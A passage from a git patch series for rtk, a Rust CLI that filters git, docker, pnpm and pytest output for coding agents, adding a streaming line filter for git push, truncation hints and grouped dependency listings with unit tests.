b/src/cmds/system/log_cmd.rs index cb6a66bb4f..bd76a73b7a 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -246,6 +246,18 @@ mod tests { assert!(result.contains("ERRORS")); } + #[test] + fn test_analyze_logs_extended_severity_keywords() { + let logs = "2024-01-01 10:00:00 CRITICAL: disk full\n\ + 2024-01-01 10:00:01 ALERT: memory pressure\n\ + 2024-01-01 10:00:02 emerg: system shutdown imminent\n\ + 2024-01-01 10:00:03 SEVERE: data corruption detected\n\ + 2024-01-01 10:00:04 notice: config reloaded\n"; + let result = analyze_logs(logs); + assert!(result.contains("ERRORS"), "critical/alert/emerg/severe should count as errors"); + assert!(result.contains("WARNINGS"), "notice should count as warning"); + } + #[test] fn test_analyze_logs_multibyte() { let logs = format!( diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index ebfbb1f5c3..dcbc52cad9 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -301,6 +301,11 @@ mod tests { assert!(resolve_filter("git-status").is_some()); } + #[test] + fn test_resolve_filter_log() { + assert!(resolve_filter("log").is_some()); + } + #[test] fn test_resolve_filter_unknown_returns_none() { assert!(resolve_filter("nonexistent-filter").is_none()); diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index aca8164575..225fd6f01c 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -224,6 +224,35 @@ mod tests { } } + fn make_dep(name: &str, version: &str, latest: Option<&str>) -> Dependency { + Dependency { + name: name.to_string(), + current_version: version.to_string(), + latest_version: latest.map(str::to_string), + wanted_version: None, + dev_dependency: false, + } + } + + #[test] + fn test_dependency_state_plain_listing_shows_packages() { + let state = DependencyState { + total_packages: 2, + outdated_count: 0, + dependencies: vec![ + make_dep("react", "18.0.0", None), + make_dep("typescript", "5.0.0", None), + ], + }; + let out = state.format_compact(); + assert!(out.contains("react"), "package name missing"); + assert!(out.contains("typescript"), "package name missing"); + assert!( + !out.contains("up-to-date"), + "false positive: plain listing should not say up-to-date" + ); + } + // RED: format_compact must show the full error message, not just 2 lines. // Playwright errors contain the expected/received diff and call log starting // at line 3+. Truncating to 2 lines leaves the agent with no debug info. From be5178377fd7c155f70fda94dd134aa5a7b9361d Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Thu, 14 May 2026 11:51:15 +0000 Subject: [PATCH 098/257] fix(git): stream push output via FilterMode::Streaming (#963) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Problem (#963) `rtk git push` reportedly times out: users see `bash tool terminated command after exceeding timeout 30000 ms` while plain `git push` to the same remote completes fine. P1-critical because every Claude Code git push goes through rtk. ## Root cause `run_push` used `cmd.stdin(Stdio::inherit()).output()`. `Command::output()` captures both stdout and stderr until the child exits. Git push prints its progress (`Counting objects` / `Compressing objects` / `Writing objects`) to stderr and may prompt for SSH passphrases or HTTPS credentials. With stderr captured, Claude Code's bash tool saw zero output for 30+ seconds and killed the command — exactly the 30000 ms message in the issue. ## Fix Rewrite `run_push` on top of the streaming infrastructure that already exists for this exact purpose (`stream::run_streaming` + `FilterMode::Streaming`, added in 0.37.0). Add a counterpart to `BlockStreamFilter` in `src/core/stream.rs`: `LineStreamFilter`. Where `BlockStreamFilter` defaults to DROP and emits only collected blocks, `LineStreamFilter` defaults to KEEP and lets handlers opt into dropping noise. Trait surface mirrors `BlockHandler`: - `should_skip(&mut self, line: &str) -> bool` — default false - `observe_line(&mut self, line: &str)` — default no-op - `format_summary(&self, exit_code, raw) -> Option` This lets future streaming commands reuse the line-oriented pattern. `GitPushLineHandler` then becomes a tiny `LineHandler` impl: - `should_skip` drops the high-volume progress phases (Enumerating / Counting / Compressing / Writing objects, Delta compression, Total) and blank lines. - `observe_line` captures the up-to-date sentinel and the first ref update target (e.g. `master`) for the summary. - `format_summary` emits `ok ` / `ok (up-to-date)` / `ok` on success; nothing on failure (raw error lines already flowed through). Stdin is inherited (`StdinMode::Inherit`) so SSH passphrase and HTTPS credential prompts still reach the user. Tracking now records the real raw output and the filtered output. ## Test plan - [x] `cargo fmt --all -- --check` - [x] `cargo clippy --all-targets -- -D warnings` — clean - [x] `cargo test --all` — 1880 passed, 0 failed, 6 ignored - Six unit tests cover the push handler: progress-prefix drop, up-to-date summary, remote message passthrough, no-summary-on-failure, first-ref-wins, and token-savings (>=60% on a representative payload). - Four unit tests cover the new `LineStreamFilter` trait: default-keep-all, skip-drops-matching, summary-propagates-exit-code, observe-only-called-for-kept-lines. ## Notes - Behaviour change: users now see git's native output line-by-line (with progress phases stripped) plus a final `ok ` summary, instead of just the compact summary. This matches plain `git push` more closely and is what the issue reporter expects. - No regression for other filters: `run_pull`, `run_fetch`, `run_clone` are untouched; only `run_push` is modified. Closes #963 🤖 Generated with [Claude Code](https://claude.com/claude-code) --- _Vibe Coded by Ousama Ben Younes_ _Developed With Ora Studio (Claude Code)_ Co-Authored-By: Claude Opus 4.7 (1M context) --- src/cmds/git/git.rs | 242 +++++++++++++++++++++++++++++++++++--------- src/core/stream.rs | 136 +++++++++++++++++++++++++ 2 files changed, 329 insertions(+), 49 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ae71b24d04..20295d3ed6 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,6 +1,8 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. -use crate::core::stream::{exec_capture, CaptureResult}; +use crate::core::stream::{ + self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, +}; use crate::core::tracking; use crate::core::utils::{exit_code_from_output, exit_code_from_status, resolved_command}; use anyhow::{Context, Result}; @@ -1072,6 +1074,62 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result, +} + +impl LineHandler for GitPushLineHandler { + fn should_skip(&mut self, line: &str) -> bool { + if line.is_empty() { + return true; + } + let trimmed = line.trim_start(); + GIT_PUSH_NOISE_PREFIXES + .iter() + .any(|p| trimmed.starts_with(p)) + } + + fn observe_line(&mut self, line: &str) { + if line.contains("Everything up-to-date") { + self.up_to_date = true; + } + if self.pushed_ref.is_none() { + if let Some(idx) = line.find(" -> ") { + let after = &line[idx + 4..]; + if let Some(dest) = after.split_whitespace().next() { + self.pushed_ref = Some(dest.to_string()); + } + } + } + } + + fn format_summary(&self, exit_code: i32, _raw: &str) -> Option { + if exit_code != 0 { + return None; + } + let summary = if self.up_to_date { + "ok (up-to-date)".to_string() + } else if let Some(dest) = &self.pushed_ref { + format!("ok {}", dest) + } else { + "ok".to_string() + }; + Some(format!("{}\n", summary)) + } +} + fn run_push(args: &[String], verbose: u8, global_args: &[String]) -> Result { let timer = tracking::TimedExecution::start(); @@ -1085,56 +1143,23 @@ fn run_push(args: &[String], verbose: u8, global_args: &[String]) -> Result cmd.arg(arg); } - let output = cmd - .stdin(Stdio::inherit()) - .output() - .context("Failed to run git push")?; - - let stderr = String::from_utf8_lossy(&output.stderr); - let stdout = String::from_utf8_lossy(&output.stdout); - let raw = format!("{}{}", stdout, stderr); - - if output.status.success() { - let compact = if stderr.contains("Everything up-to-date") { - "ok (up-to-date)".to_string() - } else { - let mut push_info = String::new(); - for line in stderr.lines() { - if line.contains("->") { - let parts: Vec<&str> = line.split_whitespace().collect(); - if parts.len() >= 3 { - push_info = format!("ok {}", parts[parts.len() - 1]); - break; - } - } - } - if !push_info.is_empty() { - push_info - } else { - "ok".to_string() - } - }; - - println!("{}", compact); + let cmd_label = format!("git push {}", args.join(" ")); + let filter = LineStreamFilter::new(GitPushLineHandler::default()); + let result = stream::run_streaming( + &mut cmd, + StdinMode::Inherit, + FilterMode::Streaming(Box::new(filter)), + ) + .context("Failed to run git push")?; - timer.track( - &format!("git push {}", args.join(" ")), - &format!("rtk git push {}", args.join(" ")), - &raw, - &compact, - ); - } else { - eprintln!("FAILED: git push"); - if !stderr.trim().is_empty() { - eprintln!("{}", stderr); - } - if !stdout.trim().is_empty() { - eprintln!("{}", stdout); - } - return Ok(exit_code_from_output(&output, "git push")); - } + timer.track( + &cmd_label, + &format!("rtk {}", cmd_label), + &result.raw, + &result.filtered, + ); - Ok(0) + Ok(result.exit_code) } fn run_pull(args: &[String], verbose: u8, global_args: &[String]) -> Result { @@ -2755,4 +2780,123 @@ no changes added to commit (use "git add" and/or "git commit -a") result ); } + + fn run_push_filter(input: &str, exit_code: i32) -> String { + use crate::core::stream::StreamFilter; + let mut f = LineStreamFilter::new(GitPushLineHandler::default()); + let mut out = String::new(); + for line in input.lines() { + if let Some(s) = f.feed_line(line) { + out.push_str(&s); + } + } + out.push_str(&f.flush()); + if let Some(s) = f.on_exit(exit_code, input) { + out.push_str(&s); + } + out + } + + #[test] + fn test_push_filter_drops_progress_phases() { + let input = "\ +Enumerating objects: 5, done. +Counting objects: 100% (5/5), done. +Delta compression using up to 8 threads +Compressing objects: 100% (3/3), done. +Writing objects: 100% (3/3), 312 bytes | 312.00 KiB/s, done. +Total 3 (delta 2), reused 0 (delta 0) +To https://github.com/foo/bar.git + abc1234..def5678 master -> master +"; + let result = run_push_filter(input, 0); + for prefix in GIT_PUSH_NOISE_PREFIXES { + assert!( + !result.contains(prefix), + "noise prefix '{}' leaked through, got: {}", + prefix, + result + ); + } + assert!(result.contains("To https://github.com/foo/bar.git")); + assert!(result.contains("master -> master")); + assert!(result.ends_with("ok master\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_up_to_date_summary() { + let input = "Everything up-to-date\n"; + let result = run_push_filter(input, 0); + assert!(result.contains("Everything up-to-date")); + assert!(result.ends_with("ok (up-to-date)\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_passes_remote_messages_through() { + let input = "\ +remote: Resolving deltas: 100% (2/2), completed with 2 local objects. +remote: GitHub found 1 vulnerability on foo/bar's default branch (1 moderate). +To https://github.com/foo/bar.git + abc1234..def5678 feature -> feature +"; + let result = run_push_filter(input, 0); + assert!(result.contains("remote: Resolving deltas")); + assert!(result.contains("remote: GitHub found 1 vulnerability")); + assert!(result.ends_with("ok feature\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_no_summary_on_failure() { + let input = "\ +To https://github.com/foo/bar.git + ! [rejected] master -> master (non-fast-forward) +error: failed to push some refs to 'https://github.com/foo/bar.git' +"; + let result = run_push_filter(input, 1); + assert!(result.contains("[rejected]")); + assert!(result.contains("error: failed to push")); + assert!( + !result.contains("ok "), + "summary leaked on failure, got: {}", + result + ); + } + + #[test] + fn test_push_filter_first_ref_wins_for_summary() { + let input = "\ +To https://github.com/foo/bar.git + abc1234..def5678 feat/a -> feat/a + 1111111..2222222 feat/b -> feat/b +"; + let result = run_push_filter(input, 0); + assert!(result.ends_with("ok feat/a\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_token_savings_on_verbose_output() { + let input = "\ +Enumerating objects: 142, done. +Counting objects: 100% (142/142), done. +Delta compression using up to 8 threads +Compressing objects: 100% (88/88), done. +Writing objects: 100% (104/104), 28.50 KiB | 14.25 MiB/s, done. +Total 104 (delta 64), reused 0 (delta 0), pack-reused 0 +remote: Resolving deltas: 100% (64/64), completed with 24 local objects. +To https://github.com/foo/bar.git + abc1234..def5678 master -> master +"; + let result = run_push_filter(input, 0); + let count_tokens = |s: &str| s.split_whitespace().count(); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&result); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + assert!( + savings >= 60.0, + "expected >=60% savings, got {:.1}% (in={}, out={})", + savings, + input_tokens, + output_tokens + ); + } } diff --git a/src/core/stream.rs b/src/core/stream.rs index f651e9dde2..02a6cfc798 100644 --- a/src/core/stream.rs +++ b/src/core/stream.rs @@ -85,6 +85,49 @@ impl StreamFilter for BlockStreamFilter { } } +/// Counterpart to [`BlockHandler`] for line-oriented streams. +/// +/// Default behaviour is KEEP — every line is emitted unchanged. Implementors +/// opt in to dropping noise via [`LineHandler::should_skip`] and may capture +/// state for the final summary via [`LineHandler::observe_line`]. +pub trait LineHandler { + fn should_skip(&mut self, _line: &str) -> bool { + false + } + + fn observe_line(&mut self, _line: &str) {} + + fn format_summary(&self, exit_code: i32, raw: &str) -> Option; +} + +pub struct LineStreamFilter { + handler: H, +} + +impl LineStreamFilter { + pub fn new(handler: H) -> Self { + Self { handler } + } +} + +impl StreamFilter for LineStreamFilter { + fn feed_line(&mut self, line: &str) -> Option { + if self.handler.should_skip(line) { + return None; + } + self.handler.observe_line(line); + Some(format!("{}\n", line)) + } + + fn flush(&mut self) -> String { + String::new() + } + + fn on_exit(&mut self, exit_code: i32, raw: &str) -> Option { + self.handler.format_summary(exit_code, raw) + } +} + #[cfg(test)] // available for command modules; currently used in tests only pub struct RegexBlockFilter { start_re: Regex, @@ -981,4 +1024,97 @@ pub(crate) mod tests { "raw_stderr should capture all stderr lines" ); } + + struct CountingLineHandler { + observed: Vec, + skip_prefixes: Vec, + summary_tag: &'static str, + } + + impl LineHandler for CountingLineHandler { + fn should_skip(&mut self, line: &str) -> bool { + self.skip_prefixes.iter().any(|p| line.starts_with(p)) + } + + fn observe_line(&mut self, line: &str) { + self.observed.push(line.to_string()); + } + + fn format_summary(&self, exit_code: i32, _raw: &str) -> Option { + Some(format!( + "{}: {} kept, exit={}\n", + self.summary_tag, + self.observed.len(), + exit_code + )) + } + } + + fn run_line_filter(filter: &mut dyn StreamFilter, input: &str, exit_code: i32) -> String { + let mut out = String::new(); + for line in input.lines() { + if let Some(s) = filter.feed_line(line) { + out.push_str(&s); + } + } + out.push_str(&filter.flush()); + if let Some(post) = filter.on_exit(exit_code, input) { + out.push_str(&post); + } + out + } + + #[test] + fn test_line_filter_defaults_keep_all() { + struct DefaultHandler; + impl LineHandler for DefaultHandler { + fn format_summary(&self, _: i32, _: &str) -> Option { + None + } + } + let mut f = LineStreamFilter::new(DefaultHandler); + let result = run_line_filter(&mut f, "a\nb\nc\n", 0); + assert_eq!(result, "a\nb\nc\n"); + } + + #[test] + fn test_line_filter_skip_drops_matching_lines() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: vec!["NOISE:".to_string()], + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let input = "NOISE: progress 10%\nkeep me\nNOISE: progress 90%\nalso keep\n"; + let result = run_line_filter(&mut f, input, 0); + assert!(!result.contains("NOISE:"), "got: {}", result); + assert!(result.contains("keep me\n")); + assert!(result.contains("also keep\n")); + assert!(result.contains("demo: 2 kept, exit=0\n")); + } + + #[test] + fn test_line_filter_summary_propagates_exit_code() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: Vec::new(), + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let result = run_line_filter(&mut f, "one\n", 42); + assert!(result.contains("exit=42"), "got: {}", result); + } + + #[test] + fn test_line_filter_observe_only_called_for_kept_lines() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: vec!["DROP".to_string()], + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let result = run_line_filter(&mut f, "DROP a\nDROP b\nkeep\n", 0); + // Only "keep" was observed, so summary says "1 kept" + assert!(result.contains("demo: 1 kept"), "got: {}", result); + } } From 46fe7c47293fcbef28159ddc9fcd118a344cc42b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:00:11 +0200 Subject: [PATCH 099/257] feat(hints): add tail hints for tee & hints + address reviews - fix signal truncation gaps + kush reviews - added a new tee and hints function to give an hint with tail (avoid re-ingest of the head) - extracted patterns in constants --- src/cmds/cloud/container.rs | 84 ++++++++++++----- src/cmds/git/git.rs | 38 ++++++-- src/cmds/js/pnpm_cmd.rs | 166 ++++++++++++++++++++++++++++++++-- src/cmds/python/pytest_cmd.rs | 12 ++- src/cmds/python/ruff_cmd.rs | 15 +-- src/cmds/system/pipe_cmd.rs | 6 +- src/core/README.md | 2 + src/core/tee.rs | 79 ++++++++++------ 8 files changed, 318 insertions(+), 84 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 797aeba866..d5cb012012 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -114,26 +114,46 @@ fn docker_ps(_verbose: u8) -> Result { } } - let mut rtk = String::new(); - rtk.push_str(&format!("[docker] {} running:\n", running.len())); - for parts in running.iter().take(20) { - if let Some(l) = format_line(parts, true) { - rtk.push_str(&l); - } + const MAX_CONTAINERS: usize = 20; + + // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. + let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); + let stopped_lines: Vec = stopped.iter().filter_map(|p| format_line(p, false)).collect(); + + let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + + let mut full_rtk = String::new(); + full_rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); + for l in &running_lines { + full_rtk.push_str(l); } - if running.len() > 20 { - rtk.push_str(&format!(" ... +{} more\n", running.len() - 20)); + if !stopped_lines.is_empty() { + full_rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + for l in &stopped_lines { + full_rtk.push_str(l); + } } - if !stopped.is_empty() { - rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped.len())); - for parts in stopped.iter().take(20) { - if let Some(l) = format_line(parts, false) { - rtk.push_str(&l); - } + let mut rtk = String::new(); + rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); + for l in running_lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(l); + } + if running_lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" ... +{} more\n", running_lines.len() - MAX_CONTAINERS)); + } + if !stopped_lines.is_empty() { + rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + for l in stopped_lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(l); } - if stopped.len() > 20 { - rtk.push_str(&format!(" ... +{} more\n", stopped.len() - 20)); + if stopped_lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" ... +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + } + } + if truncated { + if let Some(hint) = crate::core::tee::force_tee_hint(&full_rtk, "docker-ps") { + rtk.push_str(&format!("{}\n", hint)); } } @@ -206,16 +226,30 @@ fn docker_images(_verbose: u8) -> Result { // higher bound than before, and only the count, never the names, is // abbreviated) so token savings still hold on machines with many images. const MAX_IMAGES: usize = 60; - for line in lines.iter().take(MAX_IMAGES) { - let parts: Vec<&str> = line.split('\t').collect(); - if !parts.is_empty() { - let image = parts[0]; - let size = parts.get(1).unwrap_or(&""); - rtk.push_str(&format!(" {} [{}]\n", image, size)); - } + let image_lines: Vec = lines + .iter() + .map(|line| { + let parts: Vec<&str> = line.split('\t').collect(); + let image = parts.first().copied().unwrap_or(""); + let size = parts.get(1).copied().unwrap_or(""); + format!(" {} [{}]\n", image, size) + }) + .collect(); + + // full_rtk = header already in rtk + all image lines (for tee when truncated) + let mut full_rtk = rtk.clone(); + for l in &image_lines { + full_rtk.push_str(l); + } + + for l in image_lines.iter().take(MAX_IMAGES) { + rtk.push_str(l); } - if lines.len() > MAX_IMAGES { - rtk.push_str(&format!(" ... +{} more\n", lines.len() - MAX_IMAGES)); + if image_lines.len() > MAX_IMAGES { + rtk.push_str(&format!(" ... +{} more\n", image_lines.len() - MAX_IMAGES)); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&full_rtk, "docker-images", MAX_IMAGES + 2) { + rtk.push_str(&format!("{}\n", hint)); + } } print!("{}", rtk); diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ba1b5922bb..b2fb7c6b06 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -678,6 +678,16 @@ fn truncate_line(line: &str, width: usize) -> String { /// Preserve RTK's branch/clean framing while keeping porcelain file lines intact. pub(crate) fn format_status_output(porcelain: &str) -> String { + format_status_inner(porcelain, None) +} + +/// Like `format_status_output` but substitutes the explicit detached-HEAD ref. +// receives the real ref extracted from plain-status output. +pub(crate) fn format_status_output_detached(porcelain: &str, detached_ref: &str) -> String { + format_status_inner(porcelain, Some(detached_ref)) +} + +fn format_status_inner(porcelain: &str, detached: Option<&str>) -> String { let lines: Vec<&str> = porcelain .lines() .filter(|line| !line.trim().is_empty()) @@ -692,7 +702,8 @@ pub(crate) fn format_status_output(porcelain: &str) -> String { if let Some(branch_line) = lines.first() { if branch_line.starts_with("##") { let branch = branch_line.trim_start_matches("## "); - output.push(format!("* {}", branch)); + let display = detached.unwrap_or(branch); + output.push(format!("* {}", display)); } else { output.push((*branch_line).to_string()); } @@ -925,13 +936,10 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result" from the plain status we captured. - if let Some(detached) = extract_detached_head(&raw_output) { - formatted = formatted.replacen("* HEAD (no branch)", &format!("* {detached}"), 1); - } + let formatted = match extract_detached_head(&raw_output) { + Some(detached_ref) => format_status_output_detached(&result.stdout, &detached_ref), + None => format_status_output(&result.stdout), + }; // Surface in-progress state (rebase/merge/cherry-pick/bisect/am) from the // plain-status output we already captured for tracking. Porcelain omits it @@ -2780,6 +2788,20 @@ no changes added to commit (use "git add" and/or "git commit -a") assert!(extract_detached_head(raw).is_none()); } + #[test] + fn test_format_status_output_detached_head() { + let porcelain = "## HEAD (no branch)\n M src/main.rs\n"; + let result = format_status_output_detached(porcelain, "HEAD detached at abc1234"); + assert!( + result.contains("HEAD detached at abc1234"), + "should use explicit detached ref, got: {result}" + ); + assert!( + !result.contains("HEAD (no branch)"), + "should not show opaque porcelain string, got: {result}" + ); + } + #[test] fn test_filter_log_output_body_omission_indicator() { // Commit with 6 meaningful body lines: only 3 shown, must signal "+3 lines omitted" diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 53661faaf5..90357dea70 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -13,6 +13,11 @@ use crate::parser::{ DependencyState, FormatMode, OutputParser, ParseResult, TokenFormatter, }; +/// Max packages shown per category in `pnpm list` (mixed prod+dev). +/// --prod and --dev filtered calls are never capped — they serve as hint +/// targets so the LLM can retrieve the packages hidden by this cap. +const MAX_LISTING: usize = 20; + /// pnpm list JSON output structure #[derive(Debug, Deserialize)] struct PnpmListOutput { @@ -125,20 +130,33 @@ fn collect_dependencies( fn extract_list_text(output: &str) -> Option { let mut dependencies = Vec::new(); let mut count = 0; + let mut is_dev = false; for line in output.lines() { + let trimmed = line.trim(); + + // Track dependency category from pnpm's section headers + if trimmed == "devDependencies:" { + is_dev = true; + continue; + } + if trimmed == "dependencies:" { + is_dev = false; + continue; + } + // Skip box-drawing and metadata if line.contains('│') || line.contains('├') || line.contains('└') || line.contains("Legend:") - || line.trim().is_empty() + || trimmed.is_empty() { continue; } // Parse lines like: "package@1.2.3" - let parts: Vec<&str> = line.split_whitespace().collect(); + let parts: Vec<&str> = trimmed.split_whitespace().collect(); if !parts.is_empty() { let pkg_str = parts[0]; if let Some(at_pos) = pkg_str.rfind('@') { @@ -150,7 +168,7 @@ fn extract_list_text(output: &str) -> Option { current_version: version.to_string(), latest_version: None, wanted_version: None, - dev_dependency: false, + dev_dependency: is_dev, }); count += 1; } @@ -270,6 +288,55 @@ fn extract_outdated_text(output: &str) -> Option { } } +/// Format a dependency listing with grouped [prod]/[dev] sections. +/// `cap = true` for plain `pnpm list` (both categories present, may truncate). +/// `cap = false` for `pnpm list --prod` / `pnpm list --dev` (hint targets, +/// must show every package so the LLM can find what was hidden by the cap). +fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { + let prod: Vec<_> = state.dependencies.iter().filter(|d| !d.dev_dependency).collect(); + let dev: Vec<_> = state.dependencies.iter().filter(|d| d.dev_dependency).collect(); + let total = state.total_packages.max(state.dependencies.len()); + + let mut lines = vec![format!( + "{} packages ({} prod / {} dev)", + total, + prod.len(), + dev.len() + )]; + + if !prod.is_empty() { + lines.push("[prod]".to_string()); + let shown = if cap { prod.len().min(MAX_LISTING) } else { prod.len() }; + for dep in prod.iter().take(shown) { + lines.push(format!(" {} {}", dep.name, dep.current_version)); + } + if cap && prod.len() > MAX_LISTING { + lines.push(format!( + " ... +{} more — run `pnpm list --prod | tail -n +{}`", + prod.len() - MAX_LISTING, + MAX_LISTING + 3 + )); + } + } + + if !dev.is_empty() { + lines.push("[dev]".to_string()); + let shown = if cap { dev.len().min(MAX_LISTING) } else { dev.len() }; + for dep in dev.iter().take(shown) { + lines.push(format!(" {} {}", dep.name, dep.current_version)); + } + if cap && dev.len() > MAX_LISTING { + lines.push(format!( + " ... +{} more — run `pnpm list --dev | tail -n +{}`", + dev.len() - MAX_LISTING, + MAX_LISTING + 3 + )); + } + } + + lines.join("\n") +} + #[derive(Debug, Clone)] pub enum PnpmCommand { List { depth: usize }, @@ -304,22 +371,24 @@ fn run_list(depth: usize, args: &[String], verbose: u8) -> Result { return Ok(result.exit_code); } - // Parse output using PnpmListParser + let is_filtered = args + .iter() + .any(|a| matches!(a.as_str(), "--prod" | "-P" | "--dev" | "-D")); + let parse_result = PnpmListParser::parse(&result.stdout); - let mode = FormatMode::from_verbosity(verbose); let filtered = match parse_result { ParseResult::Full(data) => { if verbose > 0 { eprintln!("pnpm list (Tier 1: Full JSON parse)"); } - data.format(mode) + format_dependency_listing(&data, !is_filtered) } ParseResult::Degraded(data, warnings) => { if verbose > 0 { emit_degradation_warning("pnpm list", &warnings.join(", ")); } - data.format(mode) + format_dependency_listing(&data, !is_filtered) } ParseResult::Passthrough(raw) => { emit_passthrough_warning("pnpm list", "All parsing tiers failed"); @@ -513,4 +582,87 @@ mod tests { let _args: Vec = vec![OsString::from("help")]; // Compile-time verification that the function exists with correct signature } + + fn make_state(prod: &[&str], dev: &[&str]) -> DependencyState { + let mut deps = Vec::new(); + for name in prod { + deps.push(Dependency { + name: name.to_string(), + current_version: "1.0.0".to_string(), + latest_version: None, + wanted_version: None, + dev_dependency: false, + }); + } + for name in dev { + deps.push(Dependency { + name: name.to_string(), + current_version: "1.0.0".to_string(), + latest_version: None, + wanted_version: None, + dev_dependency: true, + }); + } + DependencyState { + total_packages: deps.len(), + outdated_count: 0, + dependencies: deps, + } + } + + #[test] + fn test_format_listing_grouped_sections() { + let state = make_state(&["react", "typescript"], &["eslint", "vitest"]); + let out = format_dependency_listing(&state, true); + assert!(out.contains("[prod]"), "prod section missing"); + assert!(out.contains("[dev]"), "dev section missing"); + assert!(out.contains("react"), "prod package missing"); + assert!(out.contains("eslint"), "dev package missing"); + assert!(!out.contains("(dev)"), "per-line (dev) marker should be gone"); + } + + #[test] + fn test_format_listing_cap_shows_hint_with_offset() { + let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&prod, &["eslint"]); + let out = format_dependency_listing(&state, true); + let prod_count = 60usize; + assert!( + out.contains(&format!("... +{} more", prod_count - MAX_LISTING)), + "truncation count missing" + ); + assert!( + out.contains(&format!("tail -n +{}", MAX_LISTING + 3)), + "tail offset missing: got\n{out}" + ); + assert!(out.contains("pnpm list --prod"), "hint command missing"); + } + + #[test] + fn test_format_listing_no_cap_when_prod_only() { + let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&prod, &[]); + let out = format_dependency_listing(&state, false); + assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("[dev]"), "no dev section for prod-only state"); + } + + #[test] + fn test_format_listing_no_cap_when_dev_only() { + let dev: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&[], &dev); + let out = format_dependency_listing(&state, false); + assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("[prod]"), "no prod section for dev-only state"); + } + + #[test] + fn test_extract_list_text_tracks_dev_section() { + let input = "dependencies:\nreact@18.0.0\ndevDependencies:\neslint@8.0.0\n"; + let state = extract_list_text(input).expect("should parse"); + let react = state.dependencies.iter().find(|d| d.name == "react").unwrap(); + let eslint = state.dependencies.iter().find(|d| d.name == "eslint").unwrap(); + assert!(!react.dev_dependency, "react should be prod"); + assert!(eslint.dev_dependency, "eslint should be dev"); + } } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 9b349bcf55..18bd3b9939 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -4,6 +4,8 @@ use crate::core::runner; use crate::core::utils::{resolved_command, tool_exists, truncate}; use anyhow::Result; +const MAX_XFAIL: usize = 10; + #[derive(Debug, PartialEq)] enum ParseState { Header, @@ -205,11 +207,15 @@ fn build_pytest_summary( // signals that something expected-to-fail now passes. if !xfail_lines.is_empty() { result.push_str("\nExpected-failure outcomes:\n"); - for line in xfail_lines.iter().take(10) { + for line in xfail_lines.iter().take(MAX_XFAIL) { result.push_str(&format!(" {}\n", truncate(line, 120))); } - if xfail_lines.len() > 10 { - result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - 10)); + if xfail_lines.len() > MAX_XFAIL { + result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - MAX_XFAIL)); + let all_xfail = xfail_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_xfail, "pytest-xfail", MAX_XFAIL + 1) { + result.push_str(&format!(" {}\n", hint)); + } } } diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index c13ac0e9e8..1468483cd4 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -181,12 +181,11 @@ pub fn 